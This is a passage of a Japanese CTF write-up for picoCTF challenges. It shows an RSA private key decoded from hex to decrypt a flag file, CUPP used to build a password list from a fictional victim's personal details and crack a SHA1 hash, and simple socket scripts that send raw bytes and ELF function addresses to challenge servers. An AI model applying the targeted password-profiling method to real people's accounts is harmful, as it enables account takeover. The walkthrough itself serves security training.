└─$ echo -n 2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f494241514374566636434477465972456e480a6b34522f384e4d47305362386d366d5655793479314c4158386e62596c4a49366c6c52703067766931775262736f44646d5a34386f434642643236726c6330310a4558413378724e2f46773467634954797874714e736771327232783264414f755a57364d784931393438694c4445345641522b48325538694a695171357a33590a3531746a61532b4a6c572f7276752f573372644462726b5358676a752f776d6d4d4e6d4952367a376b7a6e356c2f747771336d584a786b4f5a5a4c7a733742740a687a72446c482f4a67556857723067786652327764767751667436514a383269586164717a483443355a4556564f333530614a557461375150616f34522b31310a5a576a746c6e356d737351554541614d36446a5962454d363655793369706c455379324e737830516e6b2b4c6d6f674551635268585371303048674f65424d4f0a5a3056485a504c4841674d4241414543676745414347336449592f2f50634f724674523670676f64435144557834582b57692b6757494a3153635456754c53490a342b5a356c6d664c676931346e636a786356564f4635366c3331776965702b6653677865433668544245516e774c595945514a516b4946752b664650386661300a55782f466e337a54634b4c4b4674447a587877643332705736633833425173587539754d57796f37554a4a2b7a64554d4c735048333753627457507a525550330a43426854527245376670654b75437074435655697136316c58666d4e58346b427759634179433477734132376b576c6e747a644c456e70786e566141664f74310a6a762f78786366327839556130793033342f57694c4a30394a566951446d6d36794442734a67674f6c4b4b562f4430614c656c764f70484d746b3178584f33660a724c574a693534577252424a4a4d426b305233584945575361475363785156504476455065484e3651514b42675143314554733066346a785058444d723970670a694e7338716b3755714d784b4543554b6d5a356f73336e6534455530364d69662b6c4e524e4e5a6d4e784f6e46544b4638363042794c5650305051565a3758660a4937712f6f7263324f6c46515330503937326a30574a527a4732504353552b644b48777768674b6c5a386b31684138564f493457573664626f34695a65684a700a55335a717430674f766633395238373547637276634e754e35774b426751443145613137562b66732f7a496c56744a35524b676e70317476766b6b58556735440a54675a624662716d4d576f4e6a6372764c4938365471373030414c6a42674861556b59376e397a52673834574e42574972564a6c687566724b6847436b7170620a4b737969564f51644569376f4c706358497846416f56373970564f7633783775626e4653693146662b6d48446575427535555a6b42486c4e535936437257364a0a676a64706a71595949514b426746684d787571624a3155392b547859706335643730787559584d6a766a79414578425153676756506d474b545457344c3936550a5850314648796c4a7772504169707234636d356b5373645a7879364a4852427368433367564369463242476f49736737634a74346479794c4e754d516a56712b0a32354675534f7751365062494a2f4c5a576246646b516748674234596764494c656277684657726244486e7741756448784d647636694952416f47414c636b440a744575554650384969316c524d543757653749557279664a324157496a4b4b444a586c46796337706c5761735230723335316a543777443979525253504575710a7533442b66465933706f5a4d6a36427943473350336d755a6f64397333474e2b6e38566b614e6f4130586743326c752b3257684d71753638563974446d4341690a4939334c636a6342464e68634864765037746533496531674a71486f534f422f49635634326f4543675945416a3744674f744c734e65444a4f5a6856774730480a677a5067634332655932513575675735764f62747245584a7245796f313838453174457544654c6e4f4a5a556273444b6447635254526a4541617a66436866450a5847307844473954537639737133687a394976455348345470386363666f4b382b756c71544343767a3567366c39304232714f7046372f364a3844754d4e786e0a4e2f4f77424e6f4e507a4d6c6132434a6d6243736247633d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a | xxd -r -p
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCtVf6CDwFYrEnH
k4R/8NMG0Sb8m6mVUy4y1LAX8nbYlJI6llRp0gvi1wRbsoDdmZ48oCFBd26rlc01
EXA3xrN/Fw4gcITyxtqNsgq2r2x2dAOuZW6MxI1948iLDE4VAR+H2U8iJiQq5z3Y
51tjaS+JlW/rvu/W3rdDbrkSXgju/wmmMNmIR6z7kzn5l/twq3mXJxkOZZLzs7Bt
hzrDlH/JgUhWr0gxfR2wdvwQft6QJ82iXadqzH4C5ZEVVO350aJUta7QPao4R+11
ZWjtln5mssQUEAaM6DjYbEM66Uy3iplESy2Nsx0Qnk+LmogEQcRhXSq00HgOeBMO
Z0VHZPLHAgMBAAECggEACG3dIY//PcOrFtR6pgodCQDUx4X+Wi+gWIJ1ScTVuLSI
4+Z5lmfLgi14ncjxcVVOF56l31wiep+fSgxeC6hTBEQnwLYYEQJQkIFu+fFP8fa0
Ux/Fn3zTcKLKFtDzXxwd32pW6c83BQsXu9uMWyo7UJJ+zdUMLsPH37SbtWPzRUP3
CBhTRrE7fpeKuCptCVUiq61lXfmNX4kBwYcAyC4wsA27kWlntzdLEnpxnVaAfOt1
jv/xxcf2x9Ua0y034/WiLJ09JViQDmm6yDBsJggOlKKV/D0aLelvOpHMtk1xXO3f
rLWJi54WrRBJJMBk0R3XIEWSaGScxQVPDvEPeHN6QQKBgQC1ETs0f4jxPXDMr9pg
iNs8qk7UqMxKECUKmZ5os3ne4EU06Mif+lNRNNZmNxOnFTKF860ByLVP0PQVZ7Xf
I7q/orc2OlFQS0P972j0WJRzG2PCSU+dKHwwhgKlZ8k1hA8VOI4WW6dbo4iZehJp
U3Zqt0gOvf39R875GcrvcNuN5wKBgQD1Ea17V+fs/zIlVtJ5RKgnp1tvvkkXUg5D
TgZbFbqmMWoNjcrvLI86Tq700ALjBgHaUkY7n9zRg84WNBWIrVJlhufrKhGCkqpb
KsyiVOQdEi7oLpcXIxFAoV79pVOv3x7ubnFSi1Ff+mHDeuBu5UZkBHlNSY6CrW6J
gjdpjqYYIQKBgFhMxuqbJ1U9+TxYpc5d70xuYXMjvjyAExBQSggVPmGKTTW4L96U
XP1FHylJwrPAipr4cm5kSsdZxy6JHRBshC3gVCiF2BGoIsg7cJt4dyyLNuMQjVq+
25FuSOwQ6PbIJ/LZWbFdkQgHgB4YgdILebwhFWrbDHnwAudHxMdv6iIRAoGALckD
tEuUFP8Ii1lRMT7We7IUryfJ2AWIjKKDJXlFyc7plWasR0r351jT7wD9yRRSPEuq
u3D+fFY3poZMj6ByCG3P3muZod9s3GN+n8VkaNoA0XgC2lu+2WhMqu68V9tDmCAi
I93LcjcBFNhcHdvP7te3Ie1gJqHoSOB/IcV42oECgYEAj7DgOtLsNeDJOZhVwG0H
gzPgcC2eY2Q5ugW5vObtrEXJrEyo188E1tEuDeLnOJZUbsDKdGcRTRjEAazfChfE
XG0xDG9TSv9sq3hz9IvESH4Tp8ccfoK8+ulqTCCvz5g6l90B2qOpF7/6J8DuMNxn
N/OwBNoNPzMla2CJmbCsbGc=
-----END PRIVATE KEY-----

取得した秘密鍵でflag.encを復号し、フラグを入手できた。(RSA復号にはCyberchefを使用)

Password Profiler

パスワードをクラックしてフラグを取得する問題。

以下の3つのファイルを渡された。

  • userinfo.txt: 標的ユーザーの個人情報が載っている
  • hash.txt: 標的ユーザーのパスワードのSHA1ハッシュ値が記載されている
  • check_password.py: パスワードをチェックするスクリプト。ハッシュ値とパスワードを比較して一致した場合はフラグを表示する
└─$ cat userinfo.txt 
First Name: Alice
Surname: Johnson
Nickname: AJ
Birthdate: 15-07-1990
Partner's Name: Bob
Child's Name: Charlie
└─$ cat hash.txt                  
968c2349040273dd57dc4be7e238c5ac200ceac5
└─$ cat check_password.py 
#!/usr/bin/env python3
import hashlib

HASH_FILE = "hash.txt"
WORDLIST_FILE = "passwords.txt" # wordlist that was generated using CUPP

def load_hash():
    with open(HASH_FILE, "r") as f:
        return f.read().strip()

def crack_password(target_hash):
    with open(WORDLIST_FILE, "r", encoding="utf-8", errors="ignore") as f:
        for password in f:
            password = password.strip()
            if hashlib.sha1(password.encode()).hexdigest() == target_hash:
                return password
    return None

if __name__ == "__main__":
    target_hash = load_hash()
    result = crack_password(target_hash)
    if result:
        print(f"Password found: picoCTF{{{result}}}")
    else:
        print("No match found.")

check_password.pyCUPPによって生成されたパスワードリストを元にパスワードの確認を行う。

CUPPをgitからインストール。

git clone https://github.com/mebus/cupp.git 

cupp.py-iオプション付きで実行すると対話モードで起動し、標的ユーザーの情報について色々聞かれるので、userinfo.txtの情報を元に答えていく。

└─$ python3 cupp.py -i                                   
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Alice

入力が完了するとalice.txtというパスワードリストが作成された。

└─$ head alice.txt 
07151990
07151990
071590
071590
0715990
0715990
071990
071990
07199015
07199015

ファイル名をalice.txtからpasswords.txtに変更してcheck_password.pyを実行したところ、フラグを入手できた。

└─$ python3 check_password.py                                               
Password found: picoCTF{Aj_<REDACTED>}

Medium

bytemancy 2

ソースコードを解析してフラグを取得する問題。

以下は渡されたapp.pyというファイルの内容。

import sys

while(True):
  try:
    print('⊹──────[ BYTEMANCY-2 ]──────⊹')
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print()
    print('Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.')
    print()
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print('⊹─────────────⟡─────────────⊹')
    print('==> ', end='', flush=True)
    user_input = sys.stdin.buffer.readline().rstrip(b"\n")
    if user_input == b"\xff\xff\xff":
      print(open("./flag.txt", "r").read())
      break
    else:
      print("That wasn't it. I got: " + str(user_input))
      print()
      print()
      print()
  except Exception as e:
    print(e)
    break

0xffを3文字分入力するとflag.txtからフラグが読み出される。

└─$ (echo -e '\xff\xff\xff') | nc lonely-island.picoctf.net 61186
⊹──────[ BYTEMANCY-2 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐

Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.

☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> picoCTF{3ff5_4_d4yz_<REDACTED>}

bytemancy 3

ソースコードを解析してフラグを取得する問題。app.pyspellbookという2つのファイルを渡された。

以下はapp.pyの内容。

import os
import random
import select
import sys
from typing import Optional
from pwn import ELF, p32

BANNER = "⊹──────[ BYTEMANCY-3 ]──────⊹"
BINARY_PATH = os.path.join(os.path.dirname(__file__), "spellbook")
QUESTION_COUNT = 3

SPELLBOOK_FUNCTIONS = [
    "ember_sigil",
    "glyph_conflux",
    "astral_spark",
    "binding_word",
]


def read_exact_bytes(expected_len: int) -> Optional[bytes]:
    """Read a fixed number of bytes from stdin, trimming a trailing newline."""
    stdin_buffer = sys.stdin.buffer
    buf = stdin_buffer.read(expected_len)
    if not buf or len(buf) < expected_len:
        return None

    # Discard trailing newlines only if more bytes are immediately available
    try:
        stdin_fileno = sys.stdin.fileno()
    except (AttributeError, ValueError, OSError):
        stdin_fileno = None

    if stdin_fileno is not None:
        while True:
            readable, _, _ = select.select([stdin_fileno], [], [], 0)
            if not readable:
                break

            peek = stdin_buffer.peek(1)[:1]
            if peek in (b"\n", b"\r"):
                stdin_buffer.read(1)
                continue
            break

    return buf


def main():
    try:
        elf = ELF(BINARY_PATH, checksec=False)
    except FileNotFoundError:
        print("The spellbook is missing!")
        return

    flag = open("./flag.txt", "r").read().strip()

    while True:
        try:
            print(BANNER)
            print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
            print()
            print("I will name four procedures hidden inside spellbook.")
            print(
                f"Each round, send me their *raw* 4-byte addresses "
                f"in little-endian form. {QUESTION_COUNT} correct answers unlock the flag."
            )
            print()
            print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
            print('⊹─────────────⟡─────────────⊹')

            selections = random.sample(SPELLBOOK_FUNCTIONS, QUESTION_COUNT)
            success = True

            for idx, symbol in enumerate(selections, 1):
                target_addr = elf.symbols[symbol]
                expected_bytes = p32(target_addr)

                print(
                    f"[{idx}/{QUESTION_COUNT}] Send the 4-byte little-endian "
                    f"address for procedure '{symbol}'."
                )
                print("==> ", end='', flush=True)
                user_bytes = read_exact_bytes(len(expected_bytes))

                if user_bytes is None:
                    print("\nI needed four bytes, traveler.")
                    success = False
                    break

                if user_bytes != expected_bytes:
                    print("\nThose aren't the right runes.")
                    success = False
                    break

            if success:
                print(flag)
                break

            print()
            print("The aether rejects your incantation. Try again.\n")
        except EOFError:
            break
        except Exception as exc:
            print(exc)
            break


if __name__ == "__main__":
    main()

スクリプトの内容は以下の通り。

  • spellbookに含まれている以下の4つの関数のアドレスをリトルエンディアン形式で入力するようにユーザーに促す
    • ember_sigil
    • glyph_conflux
    • astral_spark
    • binding_word
  • 関数は上記からランダムに選択され、3回 正答するとflag.txtからフラグが読み出される

spellbookは32ビットのELFファイルである。

└─$ file spellbook
spellbook: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0028c839fc5f43b51c9230d87125c038fdc9c6ce, for GNU/Linux 3.2.0, with debug_info, not stripped

objdumpコマンドを使って、各関数のアドレスの値を確認した。

└─$ objdump -d -M intel spellbook | grep ember_sigil
08049176 <ember_sigil>:
 8049233:       e8 3e ff ff ff          call   8049176 <ember_sigil>

└─$ objdump -d -M intel spellbook | grep glyph_conflux
0804919a <glyph_conflux>:
 8049247:       e8 4e ff ff ff          call   804919a <glyph_conflux>
 
└─$ objdump -d -M intel spellbook | grep astral_spark 
080491c1 <astral_spark>:
 804925b:       e8 61 ff ff ff          call   80491c1 <astral_spark>
 
└─$ objdump -d -M intel spellbook | grep binding_word
080491e3 <binding_word>:
 804926f:       e8 6f ff ff ff          call   80491e3 <binding_word>
関数名アドレス (リトルエンディアン)
ember_sigil0x76910408
glyph_conflux0x9a910408
astral_spark0xc1910408
binding_word0xe3910408

各関数のアドレスを確認できたので、あとはサーバーに接続して、正しいアドレスを入力すればフラグを取れる。手動でやるのは大変なので以下のPythonスクリプトを書いた。

import socket

host = "green-hill.picoctf.net"
port = 53644 
buffersize = 4096 

#create socket and connect to server
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

while True:
        response = client.recv(buffersize)
        print(str(response))

        if 'ember_sigil' in str(response):
                address = b'\x76\x91\x04\x08'
        elif 'glyph_conflux' in str(response):
                address = b'\x9a\x91\x04\x08'
        elif 'astral_spark' in str(response):
                address = b'\xc1\x91\x04\x08'
        elif 'binding_word' in str(response):
                address = b'\xe3\x91\x04\x08'
        elif 'picoCTF' in str(response):
                print(str(response))
        else:
                break

        client.send(address)

スクリプトを実行し、フラグを入手。

└─$ python3 solver.py
b"\xe2\x8a\xb9\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80[ BYTEMANCY-3 ]\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x8a\xb9\n\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\n\nI will name four procedures hidden inside spellbook.\nEach round, send me their *raw* 4-byte addresses in little-endian form. 3 correct answers unlock the flag.\n\n\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\xe2\x98\x89\xe2\x9f\x8a\xe2\x98\xbd\xe2\x98\x88\xe2\x9f\x81\xe2\xa7\x8b\xe2\x9f\xa1\xe2\x98\x8d\xe2\x9f\x90\n\xe2\x8a\xb9\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9f\xa1\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x8a\xb9\n[1/3] Send the 4-byte little-endian address for procedure 'ember_sigil'.\n==> "
b"[2/3] Send the 4-byte little-endian address for procedure 'glyph_conflux'.\n==> "
b"[3/3] Send the 4-byte little-endian address for procedure 'binding_word'.\n==> "
b'picoCTF{0bjdump_m4g1c_<REDACTED>}\n'
b'picoCTF{0bjdump_m4g1c_<REDACTED>}\n'
b''

Hard

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.